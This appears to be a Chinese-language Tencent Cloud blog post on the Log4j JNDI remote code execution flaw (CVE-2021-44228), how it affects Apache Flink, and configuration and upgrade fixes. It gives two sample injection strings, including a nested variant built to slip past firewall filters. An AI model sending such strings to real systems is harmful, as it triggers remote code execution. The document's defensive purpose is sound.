首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Log4j 远程代码执行漏洞对 Flink 的影响和修复方案

Log4j 远程代码执行漏洞对 Flink 的影响和修复方案

原创
作者头像
KyleMeow
修改2021-12-20 10:10:40
1.9K1
修改2021-12-20 10:10:40
举报

概念原理

为了了解这个 CVE-2021-44228 漏洞的影响,首先需要掌握一些 Java 概念。RMI 全称为 Remote Method Invocation,是 Java 提供的一种基于序列化的远程方法调用机制,可以通过网络通讯的方式,调用远程服务器提供的函数,就像在本地使用一样方便。在遥远的上古年代,微服务和 RESTful + JSON 等调用方式还没有出现和普及时,人们普遍使用 RMI 来实现远程服务请求。

当 RMI 请求发器时,JVM 会和远端服务器通讯。如果 JVM 发现当前的 classpath 中并不存在远端服务器提到的类定义,那么就会通过给定的远程 URL 下载这个类的字节码定义并执行。这就给了攻击者可乘之机:通过恶意构造相关的类,即可执行任意想要的方法。从当初的设计思路上看,这无可厚非,本身 RMI 假设是安全可信的环境下执行,就像当初 HTTP、FTP 等协议设计的一样。但是实际使用时,开发者可能无意间将外部用户输入的地址传入,此时就会引起问题。

LDAP(Lightweight Directory Access Protocol)也是一个通用的目录访问协议,在各大公司的内网系统都有应用。Java 程序也可以通过 LDAP 获取远程的对象,反序列化并执行代码逻辑,因此也是一个常见的攻击点。

JNDI (Java Naming and Directory Interface) 是 Java 提供的一系列通用的接口服务封装,用户可以通过 JNDI 来访问不同协议下的多种资源。JNDI 支持上述提到的 RMI、LDAP 等协议,也支持其他的例如 CORBA、DNS 等其他协议。本次 Log4j 的漏洞,就是通过构造恶意的 JNDI 连接字符串,以启用 RMI 或 LDAP 连接,最终实现远程代码执行(RCE)。关于 JNDI 注入的相关知识,可以阅读这篇文章

由于 RMI 和 LDAP 远程执行代码的方式过于灵活,时常成为被攻击的对象,因此在较高版本的 JDK 中,默认情况下已经做了禁用,很多防火墙也可以检测到相关的字符串。但是并不代表可以高枕无忧,黑客还是很多手段来绕过。

漏洞成因

Log4j 2.x 作为一个广为使用的日志库,为了满足各类用户的不同需求,大家会持续不断地给他贡献新的功能。在 2013 年的时候,有个用户在 LOG4J2-313 这个 JIRA 需求单里提到,自己希望 Log4j 能够提供 JNDI Lookup 功能,以支持一些场景化功能:例如通过查询远程服务器,把来自不同应用的日志写到他们各自的日志文件中。于是社区在 2.0-beta9 版本之后实现了这个功能,也是本次漏洞影响的最早版本。

单纯支持 JNDI 查询的话,问题还不至于这么严重。关键在于 Log4j 还提供了运行时动态的变量查找(Message Lookup Substitution)功能,允许在模板和日志中,写入特定的变量值,动态地填充日志内容。例如输入 ${java.version},就可以打印出当前的 Java 版本;此外还支持日期、上下文、Docker、环境变量等多种变量类型,包括上述提到的 JNDI Lookup。

那问题来了:如果用户数据中包含 JNDI + RMI 或 JNDI + LDAP 调用,例如

${jndi:rmi://example.org/malicious_rmi_server}

就会让 Log4j 尝试连接到这个地址,并执行给定的远程代码。这也是本次漏洞危害巨大的原因:Log4J 2.x 版本应用非常广泛,利用起来非常容易,因此很多知名网站都受到了影响。具体的漏洞代码分析可以参考这篇文章

还有一个次要因素可以让漏洞的检测更困难:由于 Log4j 的变量查找功能支持嵌套,因此攻击者可以构造例如 ${jnd${::-${::-}}i:lda${::-${::-}}p://xxxx} 等字符串,来逃避防火墙的关键词过滤。

Flink 1.11 及之后的版本默认采用 Log4j 2.x 版本作为默认的日志组件,因此这个版本之后的 Flink 都有可能受到影响,尤其是在报错时,Flink 可能把用户恶意构造的数据打印在报错信息,此时就会导致问题触发。ZooKeeper 等组件默认使用的是 Log4j 1.x 版本,因此不受本次漏洞的威胁。

修复方式

经过深入分析,目前有多种修复该漏洞的方法,建议配合使用,以避免单个方法被绕过导致修复失败的风险。

不修改 Log4j JAR 包的修复方法

对于线上的 Log4j JAR 包不能轻易改动的情况(例如镜像不易改,或者是用户自己上传的 JAR 不能改等),如果 Log4J 版本高于 2.10,可以给 JVM 的启动参数增加 -Dlog4j2.formatMsgNoLookups=true 以禁用变量查找和格式化功能。具体对于 Flink 而言,则是修改 flink-conf.yaml 文件,找到并修改 env.java.opts 配置项(如果没有则新增一行),例如:

env.java.opts: -Dlog4j2.formatMsgNoLookups=true

如果在容器环境下,通过配置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS=true,也可以达到同样的目的。

若 Log4j 版本小于 2.10,如果大于 2.7,则可以修改 log4j.properties 配置文件的模板,将 %m 改为 %m{nolookups}

对于 JVM 而言,如果您使用的 JDK 版本小于 8u121,则需要将 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 三个选项设置为 false。如果版本高于 8u121,则默认已经禁用。我们强烈建议升级到最新的 JDK 版本。

此外,https://github.com/nccgroup/log4j-jndi-be-gone 这个项目还提供了通过运行时动态 hook 相关方法调用的方式,屏蔽掉 JndiLookup 相关的代码,可以作为上述防御手段被绕过(例如用户自己上传了超低版本的 Log4j 2.x 代码)的兜底手段。

修改 Log4j JAR 包的修复方法

首先在能升级 Log4j 版本的情况下,我们强烈建议您将版本升级到 2.17.0(正式版,之前的 2.15.0、2.16.0 等版本仍然可能受到部分影响,参见 CVE-2021-45046)及更高版本。

如果因为某些原因必须使用旧版的 Log4j,可以解压 log4j-core 的 JAR 包,移除 org/apache/logging/log4j/core/lookup/JndiLookup.class 这个类,随后重新打包。

特别需要注意的是,升级和重新打包 Log4j 只能保证您的 Flink 集群本身不受这个漏洞的影响,但不能保证上传给 Flink 的用户 JAR 包里也不含旧版本代码。因此请配合其他修复手段一起使用。

此外,Flink 社区目前也在讨论发布一个紧急更新来修复该问题(通过更新 Log4j 的版本)。如果您使用的是腾讯云 Oceanus 流计算产品,我们已经对该漏洞进行了修复;如果您是自建的 Flink 集群,如果您已经按照本文的方法进行了操作,那么也可以避免该问题被黑客利用。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概念原理
  • 漏洞成因
  • 修复方式
    • 不修改 Log4j JAR 包的修复方法
      • 修改 Log4j JAR 包的修复方法
      相关产品与服务
      流计算 Oceanus
      流计算 Oceanus 是大数据产品生态体系的实时化分析利器,是基于 Apache Flink 构建的企业级实时大数据分析平台,具备一站开发、无缝连接、亚秒延时、低廉成本、安全稳定等特点。流计算 Oceanus 以实现企业数据价值最大化为目标,加速企业实时化数字化的建设进程。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档